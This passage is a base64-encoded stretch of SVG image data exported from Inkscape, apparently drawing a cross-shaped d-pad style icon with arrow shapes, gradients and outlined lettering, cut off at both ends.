wLjMtMC4yLTAuMiAwLTAuNSAwbC0wLjggMHEtMC40IDAtMC42LTAuMS0wLjMtMC4xLTAuNC0wLjMtMC4yLTAuMi0wLjItMC42LTAuMS0wLjQtMC4xLTAuOSAwLTAuOSAwLjMtMS40IDAuNC0wLjUgMS4yLTAuNWwyIDAgMCAwLjYtMS43IDBxLTAuMiAwLTAuNCAwLjEtMC4xIDAuMS0wLjMgMC4yLTAuMSAwLjEtMC4xIDAuNCAwIDAuMiAwIDAuNiAwIDAuNCAwIDAuNiAwIDAuMiAwLjEgMC40IDAuMSAwLjEgMC4zIDAuMiAwLjIgMC4xIDAuNCAwLjFsMC43IDBxMC40IDAgMC43IDAuMSAwLjMgMC4xIDAuNSAwLjMgMC4yIDAuMiAwLjMgMC42IDAuMSAwLjQgMC4xIDF6TS0xNDc0LjItNzAyLjVsLTEuNCAwIDAgMy41cTAgMC41IDAuMSAwLjcgMC4xIDAuMiAwLjUgMC4ybDAuNSAwIDAgMC42LTAuOSAwcS0wLjQgMC0wLjYtMC4xLTAuMi0wLjEtMC40LTAuMy0wLjEtMC4yLTAuMi0wLjQtMC4xLTAuMi0wLjEtMC41bDAtNS43IDEgMCAwIDEuNSAxLjQgMCAwIDAuNnpNLTE0NzEuNi03MDAuOWwwIDAuNi0wLjQgMHEtMC4zIDAtMC40IDAtMC4yIDAtMC4yIDAuMS0wLjEgMC4xLTAuMSAwLjIgMCAwLjEgMCAwLjRsMCAwLjZxMCAwLjIgMCAwLjQgMCAwLjEgMC4xIDAuMiAwLjEgMC4xIDAuMyAwLjEgMC4yIDAgMC40IDBsMS4xIDAgMC0zLjNxMC0wLjMgMC0wLjUgMC0wLjItMC4xLTAuMy0wLjEtMC4xLTAuMy0wLjItMC4yIDAtMC40IDBsLTEuNCAwIDAtMC42IDEuOCAwcTAuNSAwIDAuNyAwLjEgMC4zIDAuMSAwLjUgMC4zIDAuMiAwLjIgMC4yIDAuNSAwLjEgMC4zIDAuMSAwLjhsMCAzLjktMi41IDBxLTAuNCAwLTAuNy0wLjEtMC4zLTAuMS0wLjUtMC4yLTAuMi0wLjItMC4yLTAuNC0wLjEtMC4yLTAuMS0wLjZsMC0wLjdxMC0wLjMgMC4xLTAuNiAwLjEtMC4yIDAuMi0wLjQgMC4yLTAuMiAwLjUtMC4yIDAuMy0wLjEgMC43LTAuMWwwLjggMHpNLTE0NjcuOS02OTcuNWwtMSAwIDAtNy4yIDEgMCAwIDcuMnpNLTE0NjUuOS02OTcuNWwtMSAwIDAtNy4yIDEgMCAwIDcuMnpNLTE0NjMuOC02OTcuNWwtMSAwIDAtNS41IDEgMCAwIDUuNnptMC02LjMtMSAwIDAtMSAxIDAgMCAxek0tMTQ2MC4xLTcwMy4xcTAuNSAwIDAuNyAwLjEgMC4zIDAuMSAwLjUgMC4zIDAuMiAwLjIgMC4yIDAuNSAwLjEgMC4zIDAuMSAwLjhsMCAyLjJxMCAwLjUtMC4xIDAuOC0wLjEgMC4zLTAuMiAwLjUtMC4yIDAuMi0wLjUgMC4zLTAuMyAwLjEtMC43IDAuMWwtMS4zIDBxLTAuNCAwLTAuNy0wLjEtMC4zLTAuMS0wLjUtMC4zLTAuMi0wLjItMC4yLTAuNS0wLjEtMC4zLTAuMS0wLjhsMC0yLjFxMC0wLjUgMC4xLTAuOCAwLjEtMC4zIDAuMi0wLjUgMC4yLTAuMiAwLjUtMC4zIDAuMy0wLjEgMC43LTAuMWwxLjMgMHptLTEuOCAzLjlxMCAwLjMgMCAwLjUgMCAwLjIgMC4xIDAuMyAwLjEgMC4xIDAuMyAwLjIgMC4yIDAgMC40IDBsMC42IDBxMC4zIDAgMC40IDAgMC4yIDAgMC4zLTAuMSAwLjEtMC4xIDAuMS0wLjMgMC0wLjIgMC0wLjVsMC0yLjJxMC0wLjMgMC0wLjUgMC0wLjItMC4xLTAuMy0wLjEtMC4xLTAuMy0wLjItMC4yIDAtMC40IDBsLTAuNiAwcS0wLjMgMC0wLjQgMC0wLjIgMC0wLjIgMC4yLTAuMSAwLjEtMC4xIDAuMyAwIDAuMiAwIDAuNWwwIDIuMnpNLTE0NTYuNi03MDIuNWwwIDUtMSAwIDAtNS41IDIuNyAwcTAuNSAwIDAuNyAwLjEgMC4zIDAuMSAwLjUgMC4zIDAuMiAwLjIgMC4yIDAuNSAwLjEgMC4zIDAuMSAwLjhsMCAzLjktMSAwIDAtMy45cTAtMC4zIDAtMC41IDAtMC4yLTAuMS0wLjMtMC4xLTAuMS0wLjMtMC4yLTAuMiAwLTAuNCAwbC0xLjQgMHoiIGlkPSJwYXRoNDMzNCIgY2xhc3M9InMxNSIvPjwvZz48ZyB0cmFuc2Zvcm09Im1hdHJpeCg0LjIyNjcyMTksMCwwLDMuMjAwODczMSw2NjkxLjIzNywyNTU5LjE3NzMpIiBpZD0iZmxvd1Jvb3Q2OTg1IiBjbGFzcz0iczE0Ij48cGF0aCBkPSJtLTE1MTUuNC03NDEuMiAwLTEuNyAwLjYgMHEwLjEgMC44IDAuNyAxLjIgMC41IDAuNCAxLjUgMC40IDAuOCAwIDEuMi0wLjMgMC40LTAuMyAwLjQtMC44IDAtMC40LTAuMy0wLjctMC4zLTAuMi0xLjEtMC41bC0xLjEtMC4zcS0xLjEtMC4zLTEuNS0wLjgtMC40LTAuNS0wLjQtMS40IDAtMS4xIDAuNy0xLjcgMC43LTAuNiAyLTAuNiAwLjYgMCAxLjMgMC4xIDAuNyAwLjEgMS40IDAuM2wwIDEuNi0wLjYgMHEtMC4xLTAuOC0wLjYtMS4xLTAuNS0wLjQtMS40LTAuNC0wLjcgMC0xLjEgMC4zLTAuNCAwLjItMC40IDAuNyAwIDAuNSAwLjMgMC43IDAuMyAwLjIgMS4yIDAuNWwxLjEgMC4zcTEgMC4zIDEuNSAwLjggMC41IDAuNSAwLjUgMS41IDAgMS4xLTAuOCAxLjctMC44IDAuNi0yLjIgMC42LTAuNyAwLTEuNC0wLjEtMC43LTAuMS0xLjQtMC40ek0tMTUwNy43LTc0Ny41bC0wLjkgMCAwLTAuNiAzLjggMCAwIDAuNi0wLjkgMCAwIDMuNk0tMTUwNy43LTc0Ny41bC0wLjkgMCAwLTAuNiAzLjggMCAwIDAuNi0wLjkgMCAwIDMuNk0tMTUwNy43LTc0Ny41bC0wLjkgMCAwLTAuNiAzLjggMCAwIDAuNi0wLjkgMCAwIDMuNnEwIDEuNCAwLjQgMS45IDAuNCAwLjUgMS41IDAuNSAxIDAgMS40LTAuNSAwLjQtMC42IDAuNC0xLjlsMC0zLjYtMC45IDAgMC0wLjYgMi41IDAgMCAwLjYtMC45IDAgMCAzLjhxMCAxLjctMC43IDIuNC0wLjcgMC43LTIuNCAwLjctMS43IDAtMi40LTAuNy0wLjctMC43LTAuNy0yLjRsMC0zLjd6TS0xNDk5LjgtNzQwLjhsMC0wLjYgMC45IDAgMC02LjEtMC45IDAgMC0wLjYgMi4zIDAgNC40IDUuMiAwLTQuNi0wLjkgMCAwLTAuNiAyLjUgMCAwIDAuNi0wLjkgMCAwIDYuNy0xLjMgMC00LjUtNS4zIDAgNC43IDAuOSAwIDAgMC42LTIuNSAwek0tMTQ5MC42LTc0MC44bDAtMC42IDAuOSAwIDAtNi4xLTAuOSAwIDAtMC42IDIuMyAwIDQuNCA1LjIgMC00LjYtMC45IDAgMC0wLjYgMi41IDAgMCAwLjYtMC45IDAgMCA2LjctMS4zIDAtNC41LTUuMyAwIDQuNyAwLjkgMCAwIDAuNi0yLjUgMHpNLTE0ODAuMi03NDAuOGwwLTAuNiAxIDAgMC0yLjQtMi4yLTMuNy0wLjYgMCAwLTAuNiAzLjUgMCAwIDAuNi0wLjggMCAxLjYgMi44IDEuNi0yLjgtMC43IDAgMC0wLjYgMi4xIDAgMCAwLjYtMC42IDAtMiAzLjQgMCAyLjcgMSAwIDAgMC42LTMuOSAweiIgaWQ9InBhdGg0MzIzIiBjbGFzcz0iczE2Ii8+PC9nPjxwYXRoIGlkPSJwYXRoNjk5MyIgZD0ibTEwNC45IDEzMy43Yy00LjggMC04LjcgMy45LTguNyA4LjdsMCA1MC4zLTUwLjMgMGMtNC44IDAtOC43IDMuOS04LjcgOC43bDAgNTAuN2MwIDQuOCAzLjkgOC43IDguNyA4LjdsNTAuMyAwIDAgNTAuM2MwIDQuOCAzLjkgOC43IDguNyA4LjdsNTAuNyAwYzQuOCAwIDguNy0zLjkgOC43LTguN2wwLTUwLjMgNTAuMyAwYzQuOCAwIDguNy0zLjkgOC43LTguN2wwLTUwLjdjMC00LjgtMy45LTguNy04LjctOC43bC01MC4zIDAgMC01MC4zYzAtNC44LTMuOS04LjctOC43LTguN2wtNTAuNyAweiIgaW5rc2NhcGU6Y29ubmVjdG9yLWN1cnZhdHVyZT0iMCIgY2xhc3M9InMxMSIvPjxlbGxpcHNlIGlkPSJlbGxpcHNlNjk5NSIgY3g9IjEzMi4zIiBjeT0iMTg3LjciIHJ4PSIxMDIuMiIgcnk9IjY0LjYiIGZpbGw9Im5vbmUiLz48ZWxsaXBzZSBpZD0iZWxsaXBzZTY5OTciIGN4PSIxMzMuMyIgY3k9IjE4OC4xIiByeD0iMTAzLjkiIHJ5PSI2NS43IiBmaWxsPSIjOTI5Njk1Ii8+PHBhdGggaWQ9InBhdGg2OTk5IiBkPSJtMTA0LjkgMTM1Yy00LjggMC04LjcgMy45LTguNyA4LjdsMCA1MC4zLTUwLjMgMGMtNC44IDAtOC43IDMuOS04LjcgOC43bDAgNTAuN2MwIDQuOCAzLjkgOC43IDguNyA4LjdsNTAuMyAwIDAgNTAuM2MwIDQuOCAzLjkgOC43IDguNyA4LjdsNTAuNyAwYzQuOCAwIDguNy0zLjkgOC43LTguN2wwLTUwLjMgNTAuMyAwYzQuOCAwIDguNy0zLjkgOC43LTguN2wwLTUwLjdjMC00LjgtMy45LTguNy04LjctOC43bC01MC4zIDAgMC01MC4zYzAtNC44LTMuOS04LjctOC43LTguN2wtNTAuNyAweiIgaW5rc2NhcGU6Y29ubmVjdG9yLWN1cnZhdHVyZT0iMCIgc3R5bGU9ImZpbGw6dXJsKCNsaW5lYXJHcmFkaWVudDcxMDcpO3N0cm9rZS13aWR0aDoyO3N0cm9rZTojODI4NTg0Ii8+PHBhdGggaW5rc2NhcGU6Y29ubmVjdG9yLWN1cnZhdHVyZT0iMCIgZD0ibTEwNC45IDEzNWMtNC44IDAtOC43IDMuOS04LjcgOC43bDAgNTAuMy01MC4zIDBjLTQuOCAwLTguNyAzLjktOC43IDguN2wwIDUwLjdjMCA0LjggMy45IDguNyA4LjcgOC43bDUwLjMgMCAwIDUwLjNjMCA0LjggMy45IDguNyA4LjcgOC43bDUwLjcgMGM0LjggMCA4LjctMy45IDguNy04LjdsMC01MC4zIDUwLjMgMGM0LjggMCA4LjctMy45IDguNy04LjdsMC01MC43YzAtNC44LTMuOS04LjctOC43LTguN2wtNTAuMyAwIDAtNTAuM2MwLTQuOC0zLjktOC43LTguNy04LjdsLTUwLjcgMHoiIGlkPSJwYXRoNzAwMSIgY2xhc3M9InMxNyIvPjxwYXRoIGQ9Im03MC42IDIxMy43IDAgMjguMWMwIDQuMiAzLjQgNy41IDcuNSA3LjVsMTkuNiAwYzQuMiAwIDguMy00LjUgMTEuMS03LjUgMy4xLTMuMyAxMC05IDEwLjMtMTMuMiAwLjMtNS40LTYuMi0xMS05LjktMTQuOS0yLjktMy03LjMtNy41LTExLjUtNy41bC0xOS42IDBjLTQuMiAwLTcuNSAzLjQtNy41IDcuNXoiIGlkPSJwYXRoNzAwMyIgaW5rc2NhcGU6Y29ubmVjdG9yLWN1cnZhdHVyZT0iMCIgc29kaXBvZGk6bm9kZXR5cGVzPSJzc3Nzc3Nzc3NzIiBmaWxsPSIjZjlmOWY5Ii8+PHBhdGggc29kaXBvZGk6bm9kZXR5cGVzPSJzc3Nzc3Nzc3NzIiBpbmtzY2FwZTpjb25uZWN0b3ItY3VydmF0dXJlPSIwIiBpZD0icGF0aDcwMDUiIGQ9Im03MC42IDIxNS4xIDAgMjguMWMwIDQuMiAzLjQgNy41IDcuNSA3LjVsMTkuNiAwYzQuMiAwIDguMy00LjUgMTEuMS03LjUgMy4xLTMuMyAxMC05IDEwLjMtMTMuMiAwLjMtNS40LTYuMi0xMS05LjktMTQuOS0yLjktMy03LjMtNy41LTExLjUtNy41bC0xOS42IDBjLTQuMiAwLTcuNSAzLjQtNy41IDcuNXoiIGZpbGw9InVybCgjbGluZWFyR3JhZGllbnQ3MTA5KSIvPjxwYXRoIHNvZGlwb2RpOm5vZGV0eXBlcz0ic3Nzc3Nzc3NzcyIgaW5rc2NhcGU6Y29ubmVjdG9yLWN1cnZhdHVyZT0iMCIgaWQ9InBhdGg3MDA3IiBkPSJtMTg3LjkgMjE0LjIgMCAyOC4xYzAgNC4yLTMuNCA3LjUtNy41IDcuNWwtMTkuNiAwYy00LjIgMC04LjMtNC41LTExLjEtNy41LTMuMS0zLjMtMTAtOS0xMC4zLTEzLjItMC4zLTUuNCA2LjItMTEgOS45LTE0LjkgMi45LTMgNy4zLTcuNSAxMS41LTcuNWwxOS42IDBjNC4yIDAgNy41IDMuNCA3LjUgNy41eiIgZmlsbD0iI2ZmZiIvPjxwYXRoIHNvZGlwb2RpOm5vZGV0eXBlcz0ic3Nzc3Nzc3NzcyIgaW5rc2NhcGU6Y29ubmVjdG9yLWN1cnZhdHVyZT0iMCIgaWQ9InBhdGg3MDA5IiBkPSJtMTE1LjIgMjg2LjggMjguMSAwYzQuMiAwIDcuNS0zLjQgNy41LTcuNWwwLTE5LjZjMC00LjItNC41LTguMy03LjUtMTEuMS0zLjMtMy4xLTktMTAtMTMuMi0xMC4zLTUuNC0wLjMtMTEgNi4yLTE0LjkgOS45LTMgMi45LTcuNSA3LjMtNy41IDExLjVsMCAxOS42YzAgNC4yIDMuNCA3LjUgNy41IDcuNXoiIGZpbGw9IiNmOWY5ZjkiLz48cGF0aCBkPSJtMTE1LjIgMTY5LjMgMjguMSAwYzQuMiAwIDcuNSAzLjQgNy41IDcuNWwwIDE5LjZjMCA0LjItNC41IDguMy03LjUgMTEuMS0zLjMgMy4xLTkgMTAtMTMuMiAxMC4zLTUuNCAwLjMtMTEtNi4yLTE0LjktOS45LTMtMi45LTcuNS03LjMtNy41LTExLjVsMC0xOS42YzAtNC4yIDMuNC03LjUgNy41LTcuNXoiIGlkPSJwYXRoNzAxMSIgaW5rc2NhcGU6Y29ubmVjdG9yLWN1cnZhdHVyZT0iMCIgc29kaXBvZGk6bm9kZXR5cGVzPSJzc3Nzc3Nzc3NzIiBmaWxsPSIjZmZmIi8+PHBhdGggc29kaXBvZGk6bm9kZXR5cGVzPSJzc3Nzc3Nzc3NzIiBpbmtzY2FwZTpjb25uZWN0b3ItY3VydmF0dXJlPSIwIiBpZD0icGF0aDcwMTMiIGQ9Im0xMTUuMiAxNzAuNCAyOC4xIDBjNC4yIDAgNy41IDMuNCA3LjUgNy41bDAgMTkuNmMwIDQuMi00LjUgOC4zLTcuNSAxMS4xLTMuMyAzLjEtOSAxMC0xMy4yIDEwLjMtNS40IDAuMy0xMS02LjItMTQuOS05LjktMy0yLjktNy41LTcuMy03LjUtMTEuNWwwLTE5LjZjMC00LjIgMy40LTcuNSA3LjUtNy41eiIgZmlsbD0iIzE3MWIxZCIvPjxnIGlkPSJnNzAxNSIgdHJhbnNmb3JtPSJtYXRyaXgoLTEsMCwwLDEsLTU3OS44MzMwNSw4OTguNzAyMDkpIj48cGF0aCBzb2RpcG9kaTpub2RldHlwZXM9ImNjY2NjY2NjIiBpbmtzY2FwZTpjb25uZWN0b3ItY3VydmF0dXJlPSIwIiBpZD0icGF0aDcwMTciIGQ9Im0tNjI1LTY2OS44YzAtMC40LTAuMi0wLjctMC40LTAuOWwtMTIuMi0xMC44Yy0wLjUtMC40LTEuMSAwLjEtMS4xIDFsMCAyMS41YzAgMC45IDAuNiAxLjQgMS4xIDFsMTIuMi0xMC44YzAuMi0wLjIgMC40LTAuNiAwLjQtMXoiIGNsYXNzPSJzMTkiLz48cGF0aCBkPSJtLTYyNS02NzFjMC0wLjQtMC4yLTAuNy0wLjQtMC45bC0xMi4yLTEwLjhjLTAuNS0wLjQtMS4xIDAuMS0xLjEgMWwwIDIxLjVjMCAwLjkgMC42IDEuNCAxLjEgMWwxMi4yLTEwLjhjMC4yLTAuMiAwLjQtMC42IDAuNC0xeiIgaWQ9InBhdGg3MDE5IiBpbmtzY2FwZTpjb25uZWN0b3ItY3VydmF0dXJlPSIwIiBzb2RpcG9kaTpub2RldHlwZXM9ImNjY2NjY2NjIiBzdHlsZT0iYmFzZWxpbmUtc2hpZnQ6YmFzZWxpbmU7YmxvY2stcHJvZ3Jlc3Npb246dGI7Y2xpcC1ydWxlOm5vbnplcm87Y29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzOmxpbmVhclJHQjtjb2xvci1pbnRlcnBvbGF0aW9uOnNSR0I7Y29sb3ItcmVuZGVyaW5nOmF1dG87Y29sb3I6IzAwMDAwMDtkaXJlY3Rpb246bHRyO2Rpc3BsYXk6aW5saW5lO2VuYWJsZS1iYWNrZ3JvdW5kOmFjY3VtdWxhdGU7ZmlsbC1ydWxlOm5vbnplcm87ZmlsbDp1cmwoI2xpbmVhckdyYWRpZW50NzExMSk7Zm9udC1mYW1pbHk6c2Fucy1zZXJpZjtmb250LXNpemU6bWVkaXVtO2ltYWdlLXJlbmRlcmluZzphdXRvO2lzb2xhdGlvbjphdXRvO2xldHRlci1zcGFjaW5nOm5vcm1hbDtsaW5lLWhlaWdodDpub3JtYWw7bWl4LWJsZW5kLW1vZGU6bm9ybWFsO292ZXJmbG93OnZpc2libGU7c2hhcGUtcmVuZGVyaW5nOmF1dG87c29saWQtY29sb3I6IzAwMDAwMDtzb2xpZC1vcGFjaXR5OjE7dGV4dC1hbGlnbjpzdGFydDt0ZXh0LWFuY2hvcjpzdGFydDt0ZXh0LWRlY29yYXRpb24tY29sb3I6IzAwMDAwMDt0ZXh0LWRlY29yYXRpb24tbGluZTpub25lO3RleHQtZGVjb3JhdGlvbi1zdHlsZTpzb2xpZDt0ZXh0LWRlY29yYXRpb246bm9uZTt0ZXh0LWluZGVudDowO3RleHQtcmVuZGVyaW5nOmF1dG87dGV4dC10cmFuc2Zvcm06bm9uZTt3aGl0ZS1zcGFjZTpub3JtYWw7d29yZC1zcGFjaW5nOm5vcm1hbDt3cml0aW5nLW1vZGU6bHItdGIiLz48L2c+PGcgdHJhbnNmb3JtPSJtYXRyaXgoMCwtMSwtMSwwLC01NDAuNDQzMDUsLTQ4MC41Njc5NykiIGlkPSJnNzAyMSI+PHBhdGggZD0ibS02MjUtNjY5LjhjMC0wLjQtMC4yLTAuNy0wLjQtMC45bC0xMi4yLTEwLjhjLTAuNS0wLjQtMS4xIDAuMS0xLjEgMWwwIDIxLjVjMCAwLjkgMC42IDEuNCAxLjEgMWwxMi4yLTEwLjhjMC4yLTAuMiAwLjQtMC42IDAuNC0xeiIgaWQ9InBhdGg3MDIzIiBpbmtzY2FwZTpjb25uZWN0b3ItY3VydmF0dXJlPSIwIiBzb2RpcG9kaTpub2RldHlwZXM9ImNjY2NjY2NjIiBjbGFzcz0iczE5Ii8+PHBhdGggc29kaXBvZGk6bm9kZXR5cGVzPSJjY2NjY2NjYyIgaW5rc2NhcGU6Y29ubmVjdG9yLWN1cnZhdHVyZT0iMCIgaWQ9InBhdGg3MDI1IiBkPSJtLTYyNC40LTY2OS42YzAtMC40LTAuMi0wLjctMC40LTAuOWwtMTIuMi0xMC44Yy0wLjUtMC40LTEuMSAwLjEtMS4xIDFsMCAyMS41YzAgMC45IDAuNiAxLjQgMS4xIDFsMTIuMi0xMC44YzAuMi0wLjIgMC40LTAuNiAwLjQtMXoiIHN0eWxlPSJiYXNlbGluZS1zaGlmdDpiYXNlbGluZTtibG9jay1wcm9ncmVzc2lvbjp0YjtjbGlwLXJ1bGU6bm9uemVybztjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM6bGluZWFyUkdCO2NvbG9yLWludGVycG9sYXRpb246c1JHQjtjb2xvci1yZW5kZXJpbmc6YXV0bztjb2xvcjojMDAwMDAwO2RpcmVjdGlvbjpsdHI7ZGlzcGxheTppbmxpbmU7ZW5hYmxlLWJhY2tncm91bmQ6YWNjdW11bGF0ZTtmaWxsLXJ1bGU6bm9uemVybztmaWxsOnVybCgjbGluZWFyR3JhZGllbnQ3MTEzKTtmb250LWZhbWlseTpzYW5zLXNlcmlmO2ZvbnQtc2l6ZTptZWRpdW07aW1hZ2UtcmVuZGVyaW5nOmF1dG87aXNvbGF0aW9uOmF1dG87bGV0dGVyLXNwYWNpbmc6bm9ybWFsO2xpbmUtaGVpZ2h0Om5vcm1hbDttaXgtYmxlbmQtbW9kZTpub3JtYWw7b3ZlcmZsb3c6dmlzaWJsZTtzaGFwZS1yZW5kZXJpbmc6YXV0bztzb2xpZC1jb2xvcjojMDAwMDAwO3NvbGlkLW9wYWNpdHk6MTt0ZXh0LWFsaWduOnN0YXJ0O3RleHQtYW5jaG9yOnN0YXJ0O3RleHQtZGVjb3JhdGlvbi1jb2xvcjojMDAwMDAwO3RleHQtZGVjb3JhdGlvbi1saW5lOm5vbmU7dGV4dC1kZWNvcmF0aW9uLXN0eWxlOnNvbGlkO3RleHQtZGVjb3JhdGlvbjpub25lO3RleHQtaW5kZW50OjA7dGV4dC1yZW5kZXJpbmc6YXV0bzt0ZXh0LXRyYW5zZm9ybTpub25lO3doaXRlLXNwYWNlOm5vcm1hbDt3b3JkLXNwYWNpbmc6bm9ybWFsO3dyaXRpbmctbW9kZTpsci10YiIvPjwvZz48ZyBpZD0iZzcwMjciIHRyYW5zZm9ybT0ibWF0cml4KDAuOTMzNTYzMzksMCwwLDAuOTMzNTYzMzksODEyLjg3MzIyLDg1OC43NTA5MykiPjxwYXRoIHNvZGlwb2RpOnR5cGU9InN0YXIiIGlkPSJwYXRoNzAyOSIgc29kaXBvZGk6c2lkZXM9IjMiIHNvZGlwb2RpOmN4PSItNTQyLjEiIHNvZGlwb2RpOmN5PSItNzM3LjMiIHNvZGlwb2RpOnIxPSI0OS44IiBzb2RpcG9kaTpyMj0iMjQuOSIgc29kaXBvZGk6YXJnMT0iMi4xIiBzb2RpcG9kaTphcmcyPSIzLjEiIGlua3NjYXBlOmZsYXRzaWRlZD0idHJ1ZSIgaW5rc2NhcGU6cm91bmRlZD0iMCIgaW5rc2NhcGU6cmFuZG9taXplZD0iMCIgZD0ibS01NjctNjk0LjIgMC04Ni4yIDc0LjcgNDMuMXoiIGlua3NjYXBlOnRyYW5zZm9ybS1jZW50ZXIteD0iLTguNCIgdHJhbnNmb3JtPSJtYXRyaXgoMC42NzQ3MTQwOSwwLDAsMC4yODE0NDUzNiwtNTYuODYzNzk0LC00MDguOTM2MzkpIiBmaWxsPSIjZTNlOWU5Ii8+PHBhdGggdHJhbnNmb3JtPSJtYXRyaXgoMC42ODAwMDUxNCwwLDAsMC4yODE0NDUzNiwtNTQuMjU4ODI1LC00MDkuMTk1NTgpIiBpbmtzY2FwZTp0cmFuc2Zvcm0tY2VudGVyLXg9Ii04LjUiIGQ9Im0tNTY3LTY5NC4yIDAtODYuMiA3NC43IDQzLjF6IiBpbmtzY2FwZTpyYW5kb21pemVkPSIwIiBpbmtzY2FwZTpyb3VuZGVkPSIwIiBpbmtzY2FwZTpmbGF0c2lkZWQ9InRydWUiIHNvZGlwb2RpOmFyZzI9IjMuMSIgc29kaXBvZGk6YXJnMT0iMi4xIiBzb2RpcG9kaTpyMj0iMjQuOSIgc29kaXBvZGk6cjE9IjQ5LjgiIHNvZGlwb2RpOmN5PSItNzM3LjMiIHNvZGlwb2RpOmN4PSItNTQyLjEiIHNvZGlwb2RpOnNpZGVzPSIzIiBpZD0icGF0aDcwMzEiIHNvZGlwb2RpOnR5cGU9InN0YXIiIGZpbGw9IiMxNjE3MTciLz48cGF0aCB0cmFuc2Zvcm09Im1hdHJpeCgwLjYxOTMwOTM5LDAsMCwwLjI0OTU2MDAzLC04Ny45MjY4ODUsLTQzMy4xNTQxNikiIGlua3NjYXBlOnRyYW5zZm9ybS1jZW50ZXIteD0iLTcuNyIgZD0ibS01NjctNjk0LjIgMC04Ni4yIDc0LjcgNDMuMXoiIGlua3NjYXBlOnJhbmRvbWl6ZWQ9IjAiIGlua3NjYXBlOnJvdW5kZWQ9IjAiIGlua3NjYXBlOmZsYXRzaWRlZD0idHJ1ZSIgc29kaXBvZGk6YXJnMj0iMy4xIiBzb2RpcG9kaTphcmcxPSIyLjEiIHNvZGlwb2RpOnIyPSIyNC45IiBzb2RpcG9kaTpyMT0iNDkuOCIgc29kaXBvZGk6Y3k9Ii03MzcuMyIgc29kaXBvZGk6Y3g9Ii01NDIuMSIgc29kaXBvZGk6c2lkZXM9IjMiIGlkPSJwYXRoNzAzMyIgc29kaXBvZGk6dHlwZT0ic3RhciIgZmlsbD0iI2ZmZiIvPjxwYXRoIHNvZGlwb2RpOnR5cGU9InN0YXIiIGlkPSJwYXRoNzAzNSIgc29kaXBvZGk6c2lkZXM9IjMiIHNvZGlwb2RpOmN4PSItNTQyLjEiIHNvZGlwb2RpOmN5PSItNzM3LjMiIHNvZGlwb2RpOnIxPSI0OS44IiBzb2RpcG9kaTpyMj0iMjQuOSIgc29kaXBvZGk6YXJnMT0iMi4xIiBzb2RpcG9kaTphcmcyPSIzLjEiIGlua3NjYXBlOmZsYXRzaWRlZD0idHJ1ZSIgaW5rc2NhcGU6cm91bmRlZD0iMCIgaW5rc2NhcGU6cmFuZG9taXplZD0iMCIgZD0ibS01NjctNjk0LjIgMC04Ni4yIDc0LjcgNDMuMXoiIGlua3NjYXBlOnRyYW5zZm9ybS1jZW50ZXIteD0iLTcuOCIgdHJhbnNmb3JtPSJtYXRyaXgoMC42MjQxNjU5NiwwLDAsMC4yNDk1NjAwMywtODUuMTk5NTk1LC00MzIuNjc2OTcpIiBmaWxsPSJ1cmwoI2xpbmVhckdyYWRpZW50NzExNSkiLz48L2c+PGcgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoODM4LjgwOTA1LDg5OS45NzQ2KSIgaWQ9Imc3MDM3Ij48cGF0aCBkPSJtLTYyNS02NjkuOGMwLTAuNC0wLjItMC43LTAuNC0wLjlsLTEyLjItMTAuOGMtMC41LTAuNC0xLjEgMC4xLTEuMSAxbDAgMjEuNWMwIDAuOSAwLjYgMS40IDEuMSAxbDEyLjItMTAuOGMwLjItMC4yIDAuNC0wLjYgMC40LTF6IiBpZD0icGF0aDcwMzkiIGlua3NjYXBlOmNvbm5lY3Rvci1jdXJ2YXR1cmU9IjAiIHNvZGlwb2RpOm5vZGV0eXBlcz0iY2NjY2NjY2MiIGNsYXNzPSJzMTkiLz48cGF0aCBzb2RpcG9kaTpub2RldHlwZXM9ImNjY2NjY2NjIiBpbmtzY2FwZTpjb25uZWN0b3ItY3VydmF0dXJlPSIwIiBpZD0icGF0aDcwNDEiIGQ9Im0tNjI1LTY3MWMwLTAuNC0wLjItMC43LTAuNC0wLjlsLTEyLjItMTAuOGMtMC41LTAuNC0xLjEgMC4xLTEuMSAxbDAgMjEuNWMwIDAuOSAwLjYgMS40IDEuMSAxbDEyLjItMTAuOGMwLjItMC4yIDAuNC0wLjYgMC40LTF6IiBzdHlsZT0iYmFzZWxpbmUtc2hpZnQ6YmFzZWxpbmU7YmxvY2stcHJvZ3Jlc3Npb246dGI7Y2xpcC1ydWxlOm5vbnplcm87Y29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzOmxpbmVhclJHQjtjb2xvci1pbnRlcnBvbGF0aW9uOnNSR0I7Y29sb3ItcmVuZGVyaW5nOmF1dG87Y29sb3I6IzAwMDAwMDtkaXJlY3Rpb246bHRyO2Rpc3BsYXk6aW5saW5lO2VuYWJsZS1iYWNrZ3JvdW5kOmFjY3VtdWxhdGU7ZmlsbC1ydWxlOm5vbnplcm87ZmlsbDp1cmwoI2xpbmVhckdyYWRpZW50NzExNyk7Zm9udC1mYW1pbHk6c2Fucy1zZXJpZjtmb250LXNpemU6bWVkaXVtO2ltYWdlLXJlbmRlcmluZzphdXRvO2lzb2xhdGlvbjphdXRvO2xldHRlci1zcGFjaW5nOm5vcm1hbDtsaW5lLWhlaWdodDpub3JtYWw7bWl4LWJsZW5kLW1vZGU6bm9ybWFsO292ZXJmbG93OnZpc2libGU7c2hhcGUtcmVuZGVyaW5nOmF1dG87c29saWQtY29sb3I6IzAwMDAwMDtzb2xpZC1vcGFjaXR5OjE7dGV4dC1hbGlnbjpzdGFydDt0ZXh0LWFuY2hvcjpzdGFydDt0ZXh0LWRlY29yYXRpb24tY29sb3I6IzAwMDAwMDt0ZXh0LWRlY29yYXRpb24tbGluZTpub25lO3RleHQtZGVjb3JhdGlvbi1zdHlsZTpzb2xpZDt0ZXh0LWRlY29yYXRpb246bm9uZTt0ZXh0LWluZGVudDowO3RleHQtcmVuZGVyaW5nOmF1dG87dGV4dC10cmFuc2Zvcm06bm9uZTt3aGl0ZS1zcGFjZTpub3JtYWw7d29yZC1zcGFjaW5nOm5vcm1hbDt3cml0aW5nLW1vZGU6bHItdGIiLz48L2c+PGcgaWQ9Imc3MDQzIiB0cmFuc2Zvcm09Im1hdHJpeCgwLDEsLTEsMCwtNTQwLjQ0MzA1LDkzNS4xMDM2MSkiPjxwYXRoIHNvZGlwb2RpOm5vZGV0eXBlcz0iY2NjY2NjY2MiIGlua3NjYXBlOmNvbm5lY3Rvci1jdXJ2YXR1cmU9IjAiIGlkPSJwYXRoNzA0NSIgZD0ibS02MjUtNjY5LjhjMC0wLjQtMC4yLTAuNy0wLjQtMC45bC0xMi4yLTEwLjhjLT